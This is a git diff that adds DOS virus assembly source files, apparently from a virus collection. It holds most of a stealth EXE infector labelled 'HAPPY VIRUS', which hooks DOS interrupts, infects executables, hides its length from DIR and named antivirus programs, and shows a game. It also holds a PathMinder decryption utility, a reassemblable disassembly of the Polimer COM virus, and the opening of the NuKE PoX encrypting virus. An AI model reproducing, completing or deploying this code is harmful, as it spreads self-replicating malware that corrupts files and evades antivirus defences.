+nothing_left: mov al,1 ;Read/write redirected + mov cx,2 ;partition table. + pushf + call dword ptr cs:[oi13] + pop cx + retf 2 + + +orgint13: db 0EA +oi13 dw 0, 0 ;Original int 13 vector. + + +;------------------------------------------------------------------------------ +; Interupt 21 handler +;------------------------------------------------------------------------------ + +ni21: pushf + + cmp ax,33E4 ;Installation-check ? + jne not_ic + mov ax,0A500+VERSION ;Yes? Return a signature. + popf + iret + +not_ic: cmp ax,33E5 ;Play game ? + jne not_pg + call play_game + popf + iret + +not_pg: call push_all ;Check if interupt came from + call getname ;a program that may not see + mov dx,offset namesHI ;true length of infected file + mov cx,2+11d ;(AV program or 'DIR'). + call checknames + call pop_all + jne no_hide + + cmp ah,11 ;Findfirst/findnext FCB? + je its_11_12 + cmp ah,12 + jne not_11_12 +its_11_12: popf + call findFCB + retf 2 + +not_11_12: cmp ah,4E ;Findfirst/findnext handle? + je its_4E_4F + cmp ah,4F + jne no_hide +its_4E_4F: popf + call findhndl + retf 2 + + +no_hide: call push_all ;Save registers. + + cmp ax,6C00 ;Open from DOS 4.0+ ? + jne not_6C00 + call f_open2 + jmp short exit + +not_6C00: cmp ah,3Dh ;File open? + jne not_3D + call f_open + jmp short exit + +not_3D: cmp ah,3E ;File close? + jne not_3E + call f_close + jmp short exit + +not_3E: cmp ax,4B00 ;Program execute? + jne exit + call f_execute + +exit: call pop_all ;Restore registers. + + popf + + db 0EA ;Original int 21. +oi21 dw 0, 0 + + +;------------------------------------------------------------------------------ +; Interupt 24 handler +;------------------------------------------------------------------------------ + +ni24: mov al,3 ;To avoid 'Abort, Retry, ...' + iret + + +;------------------------------------------------------------------------------ +; Call original int21 +;------------------------------------------------------------------------------ + +DOS: pushf + call dword ptr cs:[oi21] + ret + + +;------------------------------------------------------------------------------ +; Hide the virus from filelength +;------------------------------------------------------------------------------ + +findFCB: call DOS ;Call original function. + or al,al + jne ret1 + pushf + push bx + push ax + push es + mov ah,2F ;Ask DTA adres. + call DOS + cmp byte ptr es:[bx],0FF ;Extended FCB? + jne vv1 + add bx,7 +vv1: mov al,byte ptr es:[bx+17] ;Check if infected + and al,1Fh ;(seconds=62). + cmp al,1Fh + jne dont_hide + sub word ptr es:[bx+1Dh],FILELEN ;Hide virus length. + sbb word ptr es:[bx+1F],0 + dec bx + jmp short hide_time + + +findhndl: call DOS ;Call original function. + jc ret1 + pushf + push bx + push ax + push es + mov ah,2F ;ask DTA adres + call DOS + mov al,byte ptr es:[bx+16] ;Check if infected. + and al,1Fh + cmp al,1Fh + jne dont_hide + sub word ptr es:[bx+1A],FILELEN ;Hide virus length. + sbb word ptr es:[bx+1C],0 +hide_time: and byte ptr es:[bx+16],0EFh ;Also hide seconds. +dont_hide: pop es + pop ax + pop bx + popf +ret1: ret + + +;------------------------------------------------------------------------------ +; Try to infect or disinfect the file +;------------------------------------------------------------------------------ + +f_close: cmp bx,5 ;Is handle >= 5? + jb ret1 ;Quit if not. + mov ah,45 ;Duplicate handle + jmp short doit + +f_execute: mov ah,3Dh ;Open file +doit: call DOS + jc ret1 + xchg ax,bx + mov bp,1 ;Flag for infect. + jmp short get_ctrlbrk + + +f_open2: mov dx,si ;Use 'normal' open function + mov ah,3Dh ;instead of 6C00 function. +f_open: call DOS + jc ret1 + xchg ax,bx + xor bp,bp ;Flag for disinfect. + + +get_ctrlbrk: cld + + mov ax,3300 ;Get ctrl-break flag. + call DOS + push dx + + cwd ;Disable Ctrl-break. + inc ax + push ax + call DOS + + mov dx,bx + mov ax,3524 ;Get int24 vector. + call DOS + push bx + push es + mov bx,dx + + push cs + pop ds + + mov dx,offset ni24 ;Install new int24 handler. + mov ah,25 + push ax + call DOS + + mov ax,1220 ;Get pointer to file table + push bx + int 2F + mov bl,es:[di] + mov al,16 ;(Avoid [512] signature...) + mov ah,12 + int 2F + pop bx ;ES:DI -> file table + + push es + pop ds + + push [di+2] ;Save attribute & open-mode. + push [di+4] + + cmp word ptr [di+28],'XE' ;Check if extension is .EXE + jne close1 + cmp byte ptr [di+2A],'E' + jne close1 + +; cmp word ptr [di+20],'XX' ;Check if name is 'XX*.EXE' +; jne close1 ;(only for test purposes). + + test bp,bp ;Infect or disinfect? + jz check_disinf + + mov ax,word ptr [di+20] ;Check if file may be infected. + mov dx,offset namesSC + mov cx,11d+4 + call checknames + je close1 + jmp short go_on + +check_disinf: call getname ;Check if file must be + mov dx,offset namesSC ;disinfected (only if an + mov cx,11d ;AV program is active). + call checknames + jne close1 + +go_on: mov byte ptr [di+2],2 ;Open file for both read/write. + mov byte ptr [di+4],0 ;Clear attributes + call gotobegin + push ax ;Save old file offset + push dx + + push cs + pop ds + + mov cx,BUFLEN ;Read begin of file + mov si,offset buffer ;into buffer. + mov dx,si + call read + + call checkfile ;Check if file is OK to infect + jc close2 ;or disinfect. + + mov ax,word ptr [si+12] ;Already infected? + add al,ah + cmp al,'#' + je is_infected + + test bp,bp ;Must it be infected? + jz close2 + + call do_infect + +is_infected: test bp,bp ;Must it be disinfected? + jnz close2 + + call do_disinfect + +close2: push es + pop ds + + pop dx ;Restore file offset. + pop ax + call goto + or byte ptr [di+6],40 ;Don't change file-time. + +close1: mov ah,3E ;Close the file. + call DOS + + or byte ptr [di+5],40 ;No EOF on next close. + pop [di+4] ;Restore attribute & open-mode. + pop [di+2] + + pop ax ;Restore int 24 vector. + pop ds + pop dx + call DOS + + pop ax ;Restore ctrl-break flag. + pop dx + call DOS + + ret + + +;------------------------------------------------------------------------------ +; Special filenames +;------------------------------------------------------------------------------ + +namesHI db 'CO', '4D' ;COMMAND.COM and 4DOS. +namesSC db 'SC', 'CL', 'VS', 'NE' ;AV programs. + db 'HT', 'TB', 'VI', 'F-' + db 'FI', 'GI', 'IM' +namesCH db 'RA', 'FE', 'MT', 'BR' ;Some self-checking + ;programs. + +;------------------------------------------------------------------------------ +; Check the file +;------------------------------------------------------------------------------ + +checkfile: cmp word ptr [si],'ZM' ;Is it a normal EXE ? + jne not_good + + cmp word ptr [si+18],40 ;Check if it is a windows/OS2 + jb not_win ;EXE file. + + mov ax,003C ;Read pointer to NE header. + cwd + call readbytes + jc not_good + + mov ax,word ptr [si+BUFLEN] ;Read NE header. + mov dx,word ptr [si+BUFLEN+2] + call readbytes + jc not_good + + cmp byte ptr [si+BUFLEN+1],'E' ;Quit if it is a NE + je not_good ;header. + +not_win: call getlen + call calclen ;Check for internal overlays. + cmp word ptr [si+4],ax + jne not_good + cmp word ptr [si+2],dx + jne not_good + + cmp word ptr [si+0C],0 ;High memory allocation? + je not_good + + cmp word ptr [si+1A],0 ;Overlay nr. not zero? + jne not_good + + clc ;File is OK. + ret + +not_good: stc ;File is not OK. + ret + + +;------------------------------------------------------------------------------ +; Write virus to the program +;------------------------------------------------------------------------------ + +do_infect: call getlen ;Go to end of file. + call goto + + mov dx,0100 ;Write virus. + mov cx,FILELEN + call write + cmp ax,cx ;Are all bytes written? + jne not_infect + + call getoldlen ;Calculate new CS & IP. + mov cx,0010 + div cx + sub ax,word ptr [si+8] + add dx,low 10 + + mov word ptr [si+16],ax ;Put CS in header. + mov word ptr [si+0E],ax ;Put SS in header. + mov word ptr [si+14],dx ;Put IP in header. + mov word ptr [si+10],STACKOFF ;Put SP in header. + + call getlen ;Put new length in header. + call calclen + mov word ptr [si+4],ax + mov word ptr [si+2],dx + + push di + lea di,[si+0A] ;Adjust mem. allocation info. + call mem_adjust + lea di,[si+0C] + call mem_adjust + pop di + + call gotobegin ;Write new begin of file. + in al,40 + mov ah,'#' + sub ah,al + mov word ptr [si+12],ax + mov cx,BUFLEN + mov dx,si + call write + + or byte ptr es:[di+0Dh],1F ;set filetime to 62 sec. + +not_infect: ret + + +;------------------------------------------------------------------------------ +; Disinfect the program +;------------------------------------------------------------------------------ + +do_disinfect: call getoldlen ;Go to original end of file + add ax,(offset buffer-100) + adc dx,0 + call goto ;Go to buffer in virus. + + mov dx,si ;Read buffer. + mov cx,BUFLEN + call read + + cmp word ptr [si],'ZM' ;Is there an EXE header + jne not_disinfect ;in the buffer? + + call gotobegin ;Write the buffer to + mov dx,si ;begin of file. + mov cx,BUFLEN + call write + + call getoldlen ;Restore original length + mov es:[di+11],ax ;of file. + mov es:[di+13],dx + + and byte ptr es:[di+0Dh],0E0 ;Seconds = 0. + +not_disinfect: ret + + +;------------------------------------------------------------------------------ +; Get name of current process +;------------------------------------------------------------------------------ + +getname: push ds + push bx + + mov ah,62 ;Get PSP address. + call DOS + dec bx + mov ds,bx + mov ax,ds:[0008] ;Get first 2 characters + ;of current process name. + pop bx + pop ds + ret + + +;------------------------------------------------------------------------------ +; Check names +;------------------------------------------------------------------------------ + +checknames: push di + push es + + push cs ;Search name in list CS:DX + pop es + mov di,dx + repnz scasw + + pop es + pop di + ret + + +;------------------------------------------------------------------------------ +; Calculate length for EXE header +;------------------------------------------------------------------------------ + +calclen: mov cx,0200 ;Divide by 200h + div cx + or dx,dx ;Correction? + jz no_cor + inc ax +no_cor: ret + + +;------------------------------------------------------------------------------ +; Adjust mem allocation info in EXE header +;------------------------------------------------------------------------------ + +mem_adjust: cmp word ptr [di],DATAPAR ;Enough memory allocated? + jnb mem_ok + mov word ptr [di],DATAPAR ;Minimum amount to allocate. +mem_ok: ret + + +;------------------------------------------------------------------------------ +; Read a few bytes +;------------------------------------------------------------------------------ + +readbytes: call goto ;Go to DX:AX and read 4 bytes + mov dx,offset minibuf ;from that location into + mov cx,4 ;mini-buffer. +read: mov ah,3F + call DOS + ret + +write: mov ah,40 ;Write function. + call DOS + ret + + +;------------------------------------------------------------------------------ +; Get original length of program +;------------------------------------------------------------------------------ + +getoldlen: call getlen + sub ax,FILELEN + sbb dx,0 + ret + + +;------------------------------------------------------------------------------ +; Get length of program +;------------------------------------------------------------------------------ + +getlen: mov ax,es:[di+11] + mov dx,es:[di+13] + ret + + +;------------------------------------------------------------------------------ +; Goto new offset DX:AX +;------------------------------------------------------------------------------ + +gotobegin: xor ax,ax + cwd +goto: xchg ax,es:[di+15] + xchg dx,es:[di+17] + ret + + +;------------------------------------------------------------------------------ +; Push all registers on stack +;------------------------------------------------------------------------------ + +push_all: push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + mov bp,sp + jmp [bp+12] + + +;------------------------------------------------------------------------------ +; Pop all registers from stack +;------------------------------------------------------------------------------ + +pop_all: pop ax + mov bp,sp + mov [bp+12],ax + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + ret + + +;------------------------------------------------------------------------------ +; Game +;------------------------------------------------------------------------------ + +play_game: call rnd_init ;Initialize random number + ;generator. + mov ah,0F ;Get video mode. + int 10 + + xor ah,ah ;Clear screen and set to + push ax ;40 column mode. + mov al,1 + int 10 + + mov ah,3 ;Clear cursor. + int 10 + push cx + mov ah,1 + xor cx,cx + int 10 + +start_game: push cs + push cs + pop ds + pop es + + xor al,al ;Clear screen + call scroll_screen + + mov si,offset orgvalues ;Initialize parameters. + mov di,offset bombs + movsw + xor ax,ax + stosw + stosw + stosw + + mov dx,0B800 ;ES points to screen memory. + mov es,dx + + mov si,offset beginmess ;Print first message. + mov di,40d*2*5+20d + mov cx,12d + call print_it2 + + mov di,40d*2*9+4 + mov cl,20d + call print_it2 + + mov di,40d*2*20d+24d + mov cl,16d + call print_it + + call wachttoets ;Wait for keypress or timeout. + + xor al,al ;Clear screen. + call scroll_screen + +main_lup: mov al,byte ptr [oldpos] ;Clear old position. + call gotopos + mov ax,0700 + stosw + + mov al,byte ptr [pos] + mov byte ptr [oldpos],al + + mov al,1 ;Scroll screen up. + call scroll_screen + + mov al,byte ptr [pos] ;Goto current position. + call gotopos + mov al,es:[di] ;Hit a block? + cmp al,0FE + mov ax,0E02 ;Print smily face. + stosw + je stop_game + + call print_bombs ;Print a number of bombs. + + call wacht + + in al,61 ;Make 'click' sound. + push ax + or al,3 + out 61,al + + call check_key ;Check for shift keys. + + pop ax ;Turn 'click' off + out 61,al + + inc byte ptr [timer] ;Check timer. + mov al,byte ptr [timer] + and al,7F + jnz not_zero + inc byte ptr [kleur] ;Change color and number of + inc byte ptr [bombs] ;bombs every 128th row. + +not_zero: cmp al,12d + jne main_lup + + inc byte ptr [level] ;Increase level as soon as + cmp byte ptr [level],9 ;new color has reached. + jb main_lup ;position. Maximum is 9. + + +stop_game: mov ax,0E07 ;Beep! + int 10 + + mov si,offset endmess ;Print message 'You reached..'. + mov di,40d*2*24d + mov cx,18d + call print_it + + mov al,byte ptr [level] ;Print reached level. + add al,30 + stosw + + add di,20d ;Print message 'Play again?'. + mov cl,11d + call print_it + + + call wachttoets ;Wait for key or timeout. + jz stop_echt + or al,20 + cmp al,'y' ;Play again if 'Y' was + jne stop_echt ;pressed. + jmp start_game + +stop_echt: pop cx + mov ah,1 + int 10 + + pop ax ;clear screen + int 10 + + ret + + +;------------------------------------------------------------------------------ +; Print CX characters from DS:SI to ES:DI +;------------------------------------------------------------------------------ + +print_it: lodsb + mov ah,7 + stosw + loop print_it + ret + + +;------------------------------------------------------------------------------ +; Print CX characters from DS:SI to ES:DI (wide) +;------------------------------------------------------------------------------ + +print_it2: lodsb + mov ah,7 + stosw + mov al,20 + stosw + loop print_it2 + ret + + +;------------------------------------------------------------------------------ +; Go to position on screen. +;------------------------------------------------------------------------------ + +gotopos: cbw + shl ax,1 + mov di,40d*2*12d + add di,ax + ret + + +;------------------------------------------------------------------------------ +; Scroll the screen up AL rows +;------------------------------------------------------------------------------ + +scroll_screen: push bx + mov ah,06 + mov bh,7 + mov cx,0 + mov dx,(25d-1)*100+(40d-1) + int 10 + pop bx + ret + + +;------------------------------------------------------------------------------ +; Print some bombs at bottom row. +;------------------------------------------------------------------------------ + +print_bombs: mov cl,byte ptr [bombs] ;Number of bombs. + xor ch,ch +bomb_lup: call rnd_get ;Calculate position. + cmp al,(40d-1) + ja bomb_lup + cbw + shl ax,1 + mov di,40d*2*(25d-1) + add di,ax + mov al,byte ptr [kleur] ;Calculate color. + mov bx,offset colors + xlat + xchg ah,al + mov al,0FE ;Print bomb. + stosw + loop bomb_lup + ret + + +;------------------------------------------------------------------------------ +; Wait a short time. +;------------------------------------------------------------------------------ + +wacht: mov dx,word ptr [tijd] + add dx,2 + xor ax,ax + mov ds,ax +time_lup: mov ax,ds:[046C] ;Get current time. + cmp ax,dx + jb time_lup + + push cs + pop ds + mov word ptr [tijd],ax + ret + + +;------------------------------------------------------------------------------ +; Wait for timeout or keypress. +;------------------------------------------------------------------------------ + +wachttoets: mov ah,1 ;Empty keyboard buffer. + int 16 + jz now_empty + xor ah,ah + int 16 + jmp short wachttoets + +now_empty: xor ax,ax + mov ds,ax + mov dx,ds:[046C] + add dx,18d*8 +wt_lup: mov ah,1 ;Check key. + int 16 + jnz stop_waiting + mov ax,ds:[046C] ;Check time. + cmp ax,dx + jb wt_lup + +stop_waiting: push cs + pop ds + ret + + +;------------------------------------------------------------------------------ +; Check if shift key's are pressed. +;------------------------------------------------------------------------------ + +check_key: mov ah,2 + int 16 + + test al,1 + jz not_right + cmp byte ptr [pos],(40d-1) + je not_right + inc byte ptr [pos] + ret + +not_right: test al,2 + jz no_key + cmp byte ptr [pos],0 + je no_key + dec byte ptr [pos] +no_key: ret + + +;------------------------------------------------------------------------------ +; Random number generator. +;------------------------------------------------------------------------------ + +rnd_init: push ax + push cx + call rnd_init0 ;init + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get ;call random routine a few + loop random_lup ; times to 'warm up' + pop cx + pop ax + ret + +rnd_init0: push dx ;initialize generator + push cx + push ds + xor ax,ax + mov ds,ax + in al,40 + mov ah,al + in al,40 + xor ax,word ptr ds:[041E] + mov dx,word ptr ds:[046C] + xor dx,ax + pop ds + jmp short move_rnd + +nonzero_get: call rnd_get + or ax,ax + jz nonzero_get + ret + +rnd_get: push dx ;calculate a random number + push cx + push bx + in al,40 +values: add ax,0 ;will be: mov ax,xxxx + mov dx,0 ; and mov dx,xxxx + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: push si + call me +me: pop si + mov word ptr cs:[si+(offset values-offset me)+1],ax + mov word ptr cs:[si+(offset values-offset me)+4],dx + pop si + mov al,dl + pop cx + pop dx + ret + + +;------------------------------------------------------------------------------ +; Data +;------------------------------------------------------------------------------ + +beginmess db 'HAPPY VIRUS ' + db 'Time to play a game ' + db '(Use shift keys)' + + +endmess db 'You reached level ' + db 'Play again?' + +colors db 4, 5, 1, 3, 0C, 0Dh, 9, 0Bh, 0 + + +orgvalues db 3, (40d/2) + +buffer db (BUFLEN) dup ('#') ;Buffer for orig. EXE header. + + +last: + end first + + \ No newline at end of file diff --git a/p/PMFEJT.ASM b/p/PMFEJT.ASM new file mode 100755 index 0000000..4a86ca2 --- /dev/null +++ b/p/PMFEJT.ASM @@ -0,0 +1,227 @@ +START SEGMENT + ASSUME CS:START,DS:START + MOV BX,80H + MOV CH,0 + MOV CL,[BX] + DEC CX + MOV SI,OFFSET KODOK+100H + CALL BET + JZ KILEP + MOV SI,OFFSET FILEN+100H + CALL BET + JZ KILEP + MOV SI,OFFSET FILECO+100H + CALL BET + JMP FOLYT +KILEP: INT 20H +FOLYT: MOV SI,OFFSET KODOK+100H + MOV BX,OFFSET KODTB+100H +CIKL1: MOV AL,[SI] + OR AL,AL + JZ FOLYT5 + OR AL,20H +FOLYT5: CMP AL,[BX] + JZ FOLYTC + JMP KODER +FOLYTC: CMP AL,0 + JZ FOLYT4 + INC BX + INC SI + JMP CIKL1 +FOLYT4: MOV AL,0 + MOV AH,3DH + MOV DX,OFFSET FILECO+100H + INT 21H + JNC FOLYTD + JMP FILER +FOLYTD: PUSH AX + MOV BX,AX + MOV AH,3FH + MOV CX,100H + MOV DX,OFFSET IPUFF+100H + INT 21H + POP BX + JNC FOLYTE + JMP FILER +FOLYTE: MOV AH,3EH + INT 21H + JNC FOLYTF + JMP FILER +FOLYTF: MOV BX,OFFSET IPUFF+100H + MOV SI,OFFSET PMNAM+100H +CIKL2: MOV AL,[SI] + OR AL,AL + JZ FOLYT7 + CMP AL,[BX] + JZ PMOK + JMP PMER +PMOK: INC BX + INC SI + JMP CIKL2 +FOLYT7: MOV DI,OFFSET FILMO+100H + MOV DL,2 +CIKL4: MOV SI,OFFSET FILEN+100H + MOV CX,13 + REP MOVSB + DEC DL + JNZ CIKL4 +FOLYTA: MOV BX,7 + MOV CX,26 + MOV AL,03FH + MOV AH,9 + INT 10H + MOV BX,OFFSET IPUFF+157H + MOV CX,26 + MOV SI,OFFSET FILMO+100H + MOV DI,OFFSET OPUFF+100H + MOV BYTE PTR [IRANY+100H],1 +CIKL6: PUSH CX + MOV CL,0 +CIKL5: MOV AL,[SI] + XOR AL,CL + ROR AL,CL + CMP AL,[BX] + JZ FOLYTB +CIKL9: ADD CL,BYTE PTR [IRANY+100H] + JNZ CIKL5 + PUSH BX + PUSH CX + PUSH AX + MOV AX,0E07H + MOV BX,0 + INT 10H + MOV AX,0E3FH + MOV BX,0 + INT 10H + POP AX + POP CX + POP BX + JMP TASZT +FOLYTB: MOV [DI],CL + CMP CL,128 + JC FOLYTG + JMP CIKL9 +FOLYTG: CMP CL,20H + JC CIKL9 +TASZT1: PUSH CX + PUSH BX + PUSH AX + MOV BX,0 + MOV AL,CL + MOV AH,0EH + MOV CX,1 + INT 10H + POP AX + POP BX + POP CX +TASZT: MOV AH,0 + INT 16H + CMP AH,4BH + JZ BAL + CMP AH,4DH + JZ JOBB + CMP AH,48H + JZ FEL + CMP AH,50H + JZ LE1 + CMP AH,1CH + JZ ESC1 + JMP TASZT +LE1: CALL BALRA + MOV BYTE PTR [IRANY+100H],0FFH + JMP CIKL9 +BALRA: PUSH BX + PUSH CX + PUSH AX + MOV AX,0E08H + MOV BX,0 + INT 10H + POP AX + POP CX + POP BX + RET +FEL: CALL BALRA + MOV BYTE PTR [IRANY+100H],01H + JMP CIKL9 +BAL: CALL BALRA + CMP BX,OFFSET IPUFF+157H + JNC BAL1 + JMP CIKL9 +BAL1: CALL BALRA + DEC BX + DEC SI + DEC DI + POP CX + INC CX + JMP CIKL6 +JOBB: CMP BX,OFFSET IPUFF+157H+25 + JC JOBB1 + CALL BALRA + JMP CIKL9 +JOBB1: INC BX + INC SI + INC DI + POP CX + DEC CX + JMP CIKL6 +ESC1: POP CX + MOV AX,0E0DH + MOV BX,0 + INT 10H + MOV AX,0E0AH + MOV BX,0 + INT 10H + MOV BYTE PTR [OPUFF+100H+28],0 +KILEP1: MOV SI,OFFSET OPUFF+100H + CALL KIIR + JMP KILEP +IRANY: DB 1 +PMER: MOV SI,OFFSET PERR+100H + CALL KIIR + JMP KILEP +KODER: MOV SI,OFFSET KDERR+100H + CALL KIIR + JMP KILEP +FILER: MOV SI,OFFSET FERR+100H + CALL KIIR + JMP KILEP +KIIR: MOV AL,[SI] + CMP AL,0 + JNZ FOLYT6 + RET +FOLYT6: MOV AH,0EH + MOV BX,0 + INT 10H + INC SI + JMP KIIR +BET: MOV AL,[BX+2] + CMP AL,20H + JNZ FOLYT2 + MOV BYTE PTR [SI],0 + INC BX + INC SI + LOOP FOLYT3 + XOR AL,AL +FOLYT3: RET +FOLYT2: MOV [SI],AL + INC SI + INC BX + LOOP BET + MOV BYTE PTR [SI],0 + XOR AL,AL + RET +PMNAM: DB 'File encrypted by PathMinder v2.01 (c) Copyright 1984,1985 Westlake Data Corporation',0 +FERR: DB 'TOLTESI HIBA A LEMEZEN',0DH,0AH,0 +PERR: DB 'HIBAS PM-VERZIO',0DH,0AH,0 +KRERR: DB 'KERESESI HIBA',0DH,0AH,0 +KDERR: DB 'KODOLASI HIBA',0DH,0AH,0 +FILEN: DB 64 DUP (0) +FILECO: DB 64 DUP (0) +KODOK: DB 64 DUP (0) +KODTB: DB 'feri&bozo',0 +IPUFF: DB 256 DUP (0) +FILMO: DB 30 DUP (0) +OPUFF: DB 32*64 DUP (0) +START ENDS + END + \ No newline at end of file diff --git a/p/POLIMER.ASM b/p/POLIMER.ASM new file mode 100755 index 0000000..420f067 --- /dev/null +++ b/p/POLIMER.ASM @@ -0,0 +1,274 @@ + +PAGE 59,132 + +; +; +; POLIMER VIRUS +; +; Disassembly by >> Wasp << a.k.a. Night Crawler. +; +; Created: 5-Jan-92 +; Version: 1.0d +; Passes: 5 Analysis Options on: OW +; +; Reassemble with MASM 5.01 +; + +movseg macro reg16, unused, Imm16 ; Fixup for Assembler + ifidn , + db 0BBh + endif + ifidn , + db 0B9h + endif + ifidn , + db 0BAh + endif + ifidn , + db 0BEh + endif + ifidn , + db 0BFh + endif + ifidn , + db 0BDh + endif + ifidn , + db 0BCh + endif + ifidn , + db 0BBH + endif + ifidn , + db 0B9H + endif + ifidn , + db 0BAH + endif + ifidn , + db 0BEH + endif + ifidn , + db 0BFH + endif + ifidn , + db 0BDH + endif + ifidn , + db 0BCH + endif + dw seg Imm16 +endm +DATA_1E EQU 80H +DATA_2E EQU 162H +DATA_3E EQU 16AH +DATA_4E EQU 0C0H +DATA_5E EQU 103H +DATA_6E EQU 128H +DATA_7E EQU 2B9H +DATA_8E EQU 0C0H +DATA_9E EQU 0C1H +DATA_10E EQU 0C8H +DATA_12E EQU 0CAH +DATA_14E EQU 0CCH +DATA_23E EQU 0 +DATA_24E EQU 100H +DATA_25E EQU 200H + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +POLIMER PROC FAR + +START: + JMP LOC_4 ; (0183) + DB 00H, 3FH + DB 7 DUP (3FH) + DB 43H, 4FH, 4DH, 00H, 1AH, 00H + DB 00H, 00H, 2EH,0F2H, 0CH, 2BH + DB 01H + DB 15 DUP (0) +DATA_18 DB 'A le', 27H, 'jobb kazetta a POLI' + DB 'MER kazetta ! Vegye ezt ! ', 0AH + DB 0DH, '$' + DB 'ERROR', 0AH, 0DH, '$' +DATA_19 DW 5 +DATA_20 DW 18D8H +LOC_1: + MOV SI,DATA_7E + MOV DI,DATA_8E + MOV CX,30H + CLD ; Clear direction + REP MOVSB ; Rep when cx >0 Mov [si] to es:[di] + JMP $-0BAH +LOC_2: + JMP LOC_10 ; (0296) +LOC_3: + JMP LOC_9 ; (028F) +LOC_4: + MOV AL,0 + MOV AH,0EH + INT 21H ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + MOV DX,DATA_4E + MOV AH,1AH + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + MOV DX,DATA_6E + MOV AH,9 + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx +LOC_5: + MOV DX,DATA_5E + MOV AH,11H + INT 21H ; DOS Services ah=function 11h + ; find filename, FCB @ ds:dx + TEST AL,AL + JNZ LOC_2 ; Jump if not zero +LOC_6: + MOV WORD PTR DS:DATA_14E,2424H + MOV AX,DS:DATA_12E + MOV WORD PTR DS:DATA_12E+1,AX + MOV AX,DS:DATA_10E + MOV AL,2EH ; '.' + MOV WORD PTR DS:DATA_10E+1,AX + MOV AL,2 + MOV DX,DATA_9E + MOV AH,3DH ; '=' + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_3 ; Jump if carry Set + MOV DATA_19,AX + MOV BX,DATA_19 + MOV CX,0 + MOV DX,0 + MOV AL,2 + MOV AH,42H ; 'B' + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_3 ; Jump if carry Set + MOV DATA_20,AX + MOV BX,DATA_19 + MOV CX,0 + MOV DX,0 + MOV AL,0 + MOV AH,42H ; 'B' + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + JC LOC_3 ; Jump if carry Set + MOV BX,DATA_19 + MOV CX,200H + MOV DX,DATA_23E + MOV AX,DS + ADD AX,1000H + MOV DS,AX + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + MOV CX,80H + CLD ; Clear direction + MOV SI,DATA_24E + MOV DI,OFFSET DS:[200H] + REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] + JZ LOC_8 ; Jump if zero + MOV BX,CS:DATA_19 + MOV CX,CS:DATA_20 + SUB CX,200H + MOV DX,DATA_25E + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + MOV AX,DS + SUB AX,1000H + MOV DS,AX + MOV BX,DATA_19 + MOV CX,0 + MOV DX,0 + MOV AL,0 + MOV AH,42H ; 'B' + INT 21H ; DOS Services ah=function 42h + ; move file ptr, cx,dx=offset + MOV BX,DATA_19 + MOV DX,OFFSET DS:[100H] + MOV CX,200H + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + MOV BX,DATA_19 + MOV DX,DATA_23E + MOV CX,DATA_20 + MOV AX,DS + ADD AX,1000H + MOV DS,AX + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + MOV AX,DS + SUB AX,1000H + MOV DS,AX + MOV BX,DATA_19 + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP SHORT LOC_10 ; (0296) + DB 90H +LOC_7: + MOV DX,DATA_5E + MOV AH,12H + INT 21H ; DOS Services ah=function 12h + ; find next filenam, FCB @ds:dx + TEST AL,AL + JNZ LOC_10 ; Jump if not zero + JMP LOC_6 ; (01A2) +LOC_8: + MOV AX,DS + SUB AX,1000H + MOV DS,AX + MOV BX,DS:DATA_3E + MOV AH,3EH ; '>' + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + JMP SHORT LOC_7 ; (0270) +LOC_9: + MOV DX,DATA_2E + MOV AH,9 + INT 21H ; DOS Services ah=function 09h + ; display char string at ds:dx +LOC_10: + MOV AH,19H + INT 21H ; DOS Services ah=function 19h + ; get default drive al (0=a:) + TEST AL,AL + JNZ LOC_11 ; Jump if not zero + MOV DL,2 + MOV AH,0EH + INT 21H ; DOS Services ah=function 0Eh + ; set default drive dl (0=a:) + MOV AH,19H + INT 21H ; DOS Services ah=function 19h + ; get default drive al (0=a:) + TEST AL,AL + JZ LOC_11 ; Jump if zero + JMP LOC_5 ; (0197) +LOC_11: + MOV DX,DATA_1E + MOV AH,1AH + INT 21H ; DOS Services ah=function 1Ah + ; set DTA to ds:dx + JMP LOC_1 ; (016E) + DB 0BEH, 00H, 03H + DB 0BFH, 00H, 01H,0B9H, 00H,0FDH + DB 0FCH,0F3H,0A4H,0EBH + DB 32H, 90H + DB 56 DUP (0) + +POLIMER ENDP + +SEG_A ENDS + + + + END START diff --git a/p/POX.ASM b/p/POX.ASM new file mode 100755 index 0000000..643efd0 --- /dev/null +++ b/p/POX.ASM @@ -0,0 +1,344 @@ +;*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*- +;-* (c) Rock Steady, Viral Developments -* +;*- (c) NuKE Software Developement 1991, 1992 *- +;-* Virus: NuKE PoX Version 1.0 (Alias `Mutating Rocko') -* +;*- ~~~~~~ *- +;-* Notes: COM Infector, Hooks Int 9h & Int 21h, Memory Stealthness -* +;*- ~~~~~~ Dir Stealthness (FCB Way), Encrypting Virus (100 different *- +;-* Encrypted Copies of the Virus) -* +;*- Bytes: 609 Bytes Memory: (609 * 2) = 1,218 Bytes *- +;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* +crypt_size equ crypt - init_virus ;All that gets Incrypted +virus_size equ last - init_virus 